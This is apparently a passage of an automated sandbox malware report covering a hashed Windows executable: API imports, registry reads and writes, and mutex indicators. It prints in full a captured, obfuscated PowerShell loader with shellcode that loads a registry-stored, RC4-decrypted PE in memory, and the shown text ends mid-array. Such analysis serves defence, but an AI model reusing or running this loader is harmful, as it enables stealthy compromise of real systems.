DISMHOST.EXE.6C8DE937.bin] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "IsValidSecurityDescriptor" which can "determine whether the components of a security descriptor are valid" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "MakeAbsoluteSD" which can "create a security descriptor in absolute format by using a security descriptor in self-relative format as a template" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "SetSecurityDescriptorGroup" which can "set the primary group information of an absolute-format security descriptor replacing any primary group information already present in the security descriptor" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "SetSecurityDescriptorOwner" which can "set the owner information of an absolute-format security descriptor" [Source: DISMHOST.EXE.6C8DE937.bin]53:Tc2a,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "")54:T401,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "C4FFFFFF00") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "88FFFFFF00") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\CENTRAL BRAZILIAN STANDARD TIME"; Key: "TZI"; Value: "F000000000000000C4FFFFFF000002000600030017003B003B00E70300000A000600020017003B003B00E70300") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\E. SOUTH AMERICA STANDARD TIME"; Key: "TZI"; Value: "B400000000000000C4FFFFFF000002000600030017003B003B00E70300000A000600020017003B003B00E70300")55:T506,Found reference to API "OpenMutexA" (Indicator: "OpenMutex"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "CreateMutexA" (Indicator: "CreateMutex"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp")56:T4934,Process "powershell.exe" based on artifact "CreateThread" (UID: 00000000-00003436, Additional Context: "#qfhoxbe sleep(15);try{ #skrw function gdelegate{ #pfgawpxmh Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters [Parameter(Position=1)] [Type] $ReturnType=[Void]); #jcgapwmuqm $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")) [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]); #ivphaiwf $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); #aoxyech $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); #lepbihus return $TypeBuilder.CreateType();} #btjhd function gproc{ #uxuy Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module [Parameter(Position=1,Mandatory=$True)] [String] $Procedure); #zmomkv $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")}; #xynbxhjb $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); #pvwb return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr) $UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))) $Procedure));} #evfgegxwm [Byte[]] $sc32 = 0x55 0x8B 0xEC 0x81 0xC4 0x00 0xFA 0xFF 0xFF 0x53 0x56 0x57 0x53 0x56 0x57 0xFC 0x31 0xD2 0x64 0x8B 0x52 <#hoh#>0x30 0x8B 0x52 0x0C 0x8B 0x52 0x14 <#iox#>0x8B 0x72 0x28 <#fa#>0x6A 0x18 0x59 0x31 0xFF 0x31 0xC0 0xAC 0x3C 0x61 0x7C 0x02 0x2C 0x20 0xC1 0xCF 0x0D 0x01 0xC7 0xE2 0xF0 0x81 0xFF 0x5B 0xBC 0x4A 0x6A 0x8B 0x5A 0x10 0x8B 0x12 0x75 0xDB 0x89 0x5D 0xFC 0x5F 0x5E 0x5B 0x8B 0x45 0xFC 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x0F 0x02 0x00 0x00 0x8B 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xE5 <#wx#>0x01 0x00 <#zq#>0x00 0x8B 0x45 0xD0 <#xpo#>0x8B 0x40 0x78 0x03 0x45 0xFC 0x89 0x45 0xCC <#ui#>0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0xCB 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF <#vbu#>0xFF 0x33 0xF6 0x8B 0x45 <#skr#>0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 <#wxk#>0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 <#yed#>0x13 0x54 <#xp#>0x24 0x04 0x83 0xC4 0x08 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0x4D 0xFC <#pa#>0x81 0x39 0x4C <#lia#>0x6F 0x61 0x64 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 <#dr#>0x4C 0x69 0x62 0x72 0x75 0x4B 0x8D 0x41 <#ych#>0x08 0x81 0x38 0x61 0x72 0x79 0x41 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 <#yn#>0xCC <#sxp#>0x8B <#iv#>0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 <#ie#>0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 <#al#>0x03 0xD0 <#lfq#>0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xBC 0x81 0x39 0x47 0x65 0x74 0x50 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x72 0x6F 0x63 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x64 0x64 0x72 0x65 0x75 0x40 0x8D 0x41 0x0E 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 <#ig#>0x24 0x04 0x83 0xC4 0x08 0x66 0x8B <#az#>0x00 0x8B 0x55 <#ipb#>0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 <#mvj#>0x45 0xFC 0x89 0x45 0xB8 0x81 0x39 0x56 0x69 0x72 0x74 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x75 0x61 0x6C 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 <#tj#>0x6C 0x6C 0x6F 0x63 <#ht#>0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 <#oki#>0xFC 0x33 0xD2 0x52 <#fi#>0x50 0x8B 0xC6 0x03 <#ksb#>0xC0 0x99 0x03 0x04 0x24 0x13 <#vo#>0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 <#zh#>0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 <#riw#>0x45 <#dw#>0xA8 0x81 0x39 0x45 0x78 0x69 <#fdq#>0x74 0x75 <#ieh#>0x63 0x8D 0x41 0x04 0x81 0x38 0x50 0x72 0x6F 0x63 0x75 0x58 0x8D 0x41 0x08 0x80 0x38 0x65 0x75 0x50 <#jo#>0x8D 0x41 0x09 0x80 0x38 0x73 0x75 <#qp#>0x48 <#yi#>0x8D 0x41 0x0A 0x80 0x38 0x73 <#td#>0x75 0x40 0x83 0xC1 0x0B 0x80 0x39 0x00 <#yxw#>0x75 0x38 0x8B <#oeo#>0x45 0xCC 0x8B 0x40 0x24 0x03 <#jn#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 <#tl#>0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 <#djq#>0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA4 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0x3E 0xFE 0xFF 0xFF 0xC6 0x85 0x2F 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x30 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x31 0xFF 0xFF 0xFF 0x76 0xC6 0x85 0x32 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x33 0xFF 0xFF 0xFF 0x70 0xC6 0x85 0x34 0xFF <#tc#>0xFF 0xFF 0x69 0xC6 <#myp#>0x85 0x35 0xFF 0xFF 0xFF 0x33 0xC6 0x85 0x36 0xFF 0xFF 0xFF 0x32 0xC6 0x85 0x37 0xFF 0xFF 0xFF 0x2E 0xC6 0x85 0x38 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x39 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3A 0xFF <#cnl#>0xFF 0xFF 0x6C 0xC6 0x85 0x3B 0xFF 0xFF 0xFF 0x00 <#owk#>0x8D 0x85 0x2F 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xBC 0x8B 0xD8 0x85 0xDB 0x75 0x05 0x6A 0x00 0xFF 0x55 <#xlr#>0xA4 0x89 <#zt#>0x5D 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x4F 0x01 0x00 0x00 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 <#xzh#>0x50 0x45 0x00 0x00 0x0F 0x85 0x26 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x78 0x03 0xC3 0x89 0x45 0xCC 0x8B <#kdl#>0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0x0D 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 0x24 <#ft#>0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0xCB 0x81 0x39 0x52 0x65 0x67 0x4F 0x75 0x5B 0x8D 0x41 0x04 0x81 <#fbb#>0x38 0x70 0x65 0x6E 0x4B 0x75 0x50 0x8D 0x41 <#eue#>0x08 0x81 0x38 0x65 0x79 0x45 0x78 0x75 0x45 0x8D 0x41 0x0C 0x80 0x38 0x41 0x75 0x3D 0x8D 0x41 0x0D 0x80 0x38 0x00 0x75 0x35 0x8B 0x45 <#doc#>0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 0x52 0x50 0x8B 0xC6 <#ez#>0x03 <#vq#>0xC0 <#ue#>0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0xD3 0x0F 0xB7 0xC0 <#czu#>0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0xC3 0x89 <#ix#>0x45 0xB0 0x81 0x39 0x52 0x65 0x67 0x51 0x75 0x5E 0x8D 0x41 0x04 0x81 0x38 0x75 <#yqh#>0x65 0x72 0x79 0x75 0x53 0x8D 0x41 0x08 0x81 0x38 0x56 0x61 0x6C 0x75 0x75 <#yos#>0x48 <#he#>0x8D 0x41 0x0C 0x81 0x38 0x65 0x45 0x78 0x41 0x75 0x3D 0x83 0xC1 0x10 0x80 0x39 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#xh#>0xC3 0x33 0xD2 0x52 0x50 <#bwt#>0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B <#pd#>0x00 0x8B 0x55 0xCC <#gn#>0x8B 0x52 0x1C 0x03 0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 <#cqz#>0x03 0xC3 0x89 0x45 0xAC 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0xFC 0xFE 0xFF 0xFF 0x8B 0x45 0x08 0x05 0x48 0x0A 0x00 0x00 0x89 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF <#jea#>0xFF 0xFF 0x05 0xE4 0x00 <#fa#>0x00 0x00 0x89 0x85 0x78 0xFF 0xFF <#bea#>0xFF 0x33 0xDB 0x33 0xC0 <#mbk#>0x89 0x85 0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 <#du#>0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 0x68 0x02 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 <#qll#>0x8B 0x85 0x7C <#mad#>0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 <#uuq#>0x00 0x30 <#vnr#>0x00 0x00 0x8B <#hum#>0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF <#hun#>0x55 0xA8 0x89 0x85 0x64 <#nag#>0xFF 0xFF 0xFF 0x83 0xBD 0x64 <#qy#>0xFF 0xFF 0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 <#ue#>0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 <#lh#>0x8B 0x85 <#zl#>0x70 0xFF <#wm#>0xFF <#pci#>0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 0x01 0x33 0xC0 0x89 0x85 0x70 0xFF 0xFF 0xFF 0x84 0xDB 0x0F 0x85 0xB8 0x00 0x00 0x00 0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF <#lfb#>0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF <#is#>0x50 <#to#>0x68 <#ybv#>0x01 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 <#fmy#>0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 <#yh#>0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF <#oz#>0xFF 0xFF <#jh#>0x50 0xFF 0x55 0xAC 0x85 <#oi#>0xC0 0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 <#jsu#>0x89 <#mm#>0x85 0x64 <#rq#>0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF 0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 0xFF 0xFF <#sv#>0xFF <#qjn#>0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 <#ivm#>0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 <#tc#>0x70 0xFF 0xFF 0xFF <#yqj#>0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 0x01 0x84 <#nd#>0xDB 0x75 0x05 0x6A 0x00 0xFF 0x55 0xA4 <#vpy#>0x8B 0x85 0x7C 0xFF 0xFF 0xFF <#qyp#>0x8B 0x80 0xDC 0x00 0x00 0x00 0x50 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x52 0x50 0x8D 0x85 0x00 0xFA 0xFF <#rfq#>0xFF 0x50 <#pv#>0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x33 0xF6 0x8D 0x8D 0x00 <#hzg#>0xFB 0xFF 0xFF 0x89 0x31 0x46 0x83 0xC1 0x04 <#ga#>0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xF2 0x33 0xDB 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x03 0x19 0x8B 0x85 0x7C <#pi#>0xFF 0xFF <#fh#>0xFF 0xFF 0xB0 0xDC 0x00 0x00 0x00 0x8B 0xC6 0x5A 0x8B 0xFA 0x33 0xD2 0xF7 0xF7 0x33 0xC0 0x8A 0x84 0x15 0x00 0xFA 0xFF 0xFF 0x03 0xD8 0x81 0xE3 0xFF 0x00 0x00 0x00 0x8A 0x01 <#vp#>0x8B 0x94 0x9D 0x00 0xFB 0xFF <#eic#>0xFF 0x89 0x11 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0x9D <#mp#>0x00 0xFB 0xFF 0xFF 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xB5 0x33 0xDB <#ap#>0x33 0xFF 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF <#vh#>0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x5C 0xFF 0xFF 0xFF 0x83 0xBD 0x5C 0xFF 0xFF 0xFF 0x00 0x74 0x29 0x8B 0x85 0x5C 0xFF 0xFF 0xFF 0x89 0x85 0x4C 0xFF 0xFF 0xFF 0x8B 0x85 0x60 <#jba#>0xFF 0xFF 0xFF 0x50 <#zq#>0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0xFF 0x95 0x78 <#hie#>0xFF 0xFF 0xFF 0xEB 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x48 0x85 0xC0 0x72 0x74 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x43 0x81 0xE3 0xFF 0x00 0x00 0x00 0x03 0xBC 0x9D 0x00 <#run#>0xFB 0xFF 0xFF 0x81 <#rlp#>0xE7 0xFF 0x00 0x00 0x00 0x8A 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x8B 0x94 0xBD 0x00 0xFB 0xFF <#rum#>0xFF 0x89 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0xBD 0x00 0xFB 0xFF 0xFF 0x8B 0x85 0x4C 0xFF 0xFF <#ctf#>0xFF 0x8A 0x04 0x30 <#blv#>0x8B 0x94 0x9D 0x00 <#py#>0xFB 0xFF 0xFF 0x03 0x94 0xBD <#td#>0x00 0xFB 0xFF 0xFF 0x81 0xE2 0xFF 0x00 0x00 0x00 <#ckb#>0x32 0x84 0x95 0x00 0xFB <#pie#>0xFF 0xFF 0x8B 0x95 0x4C 0xFF 0xFF 0xFF 0x88 0x04 0x32 0x46 0xFF 0x8D 0x3C <#npr#>0xFF 0xFF 0xFF 0x75 0x95 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0xDA 0x02 0x00 0x00 0x8B 0x45 <#mkf#>0xD4 0x8B 0x40 0x3C 0x03 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xBC 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x58 0x50 0x03 0xDB <#fw#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x53 0x6A <#niq#>0x00 0xFF 0x55 0xA8 <#do#>0x89 0x45 0xF8 0x83 0x7D 0xF8 <#qco#>0x00 0x0F 0x84 0x9A 0x02 0x00 0x00 0x8B <#ewx#>0x45 0xD0 0x8B 0x40 0x54 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF <#fs#>0x50 0x8B 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x04 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE0 0x00 0x00 0x00 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 <#oig#>0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 0xE0 0x00 <#zbh#>0x00 0x00 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xD0 <#nq#>0x8B 0x40 0x50 0x03 0x45 <#sl#>0xF8 0x83 0xC0 0x04 0x50 <#cd#>0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x60 0x8B 0x85 0x7C 0xFF <#nqx#>0xFF 0xFF 0x83 0xC0 0x7A 0x50 0x8B 0x45 0xD0 0x8B 0x40 <#zo#>0x50 0x03 0x45 <#nuj#>0xF8 0x83 0xC0 0x04 0x8B 0x95 0x7C 0xFF 0xFF 0xFF 0x03 0x82 0xE0 0x00 0x00 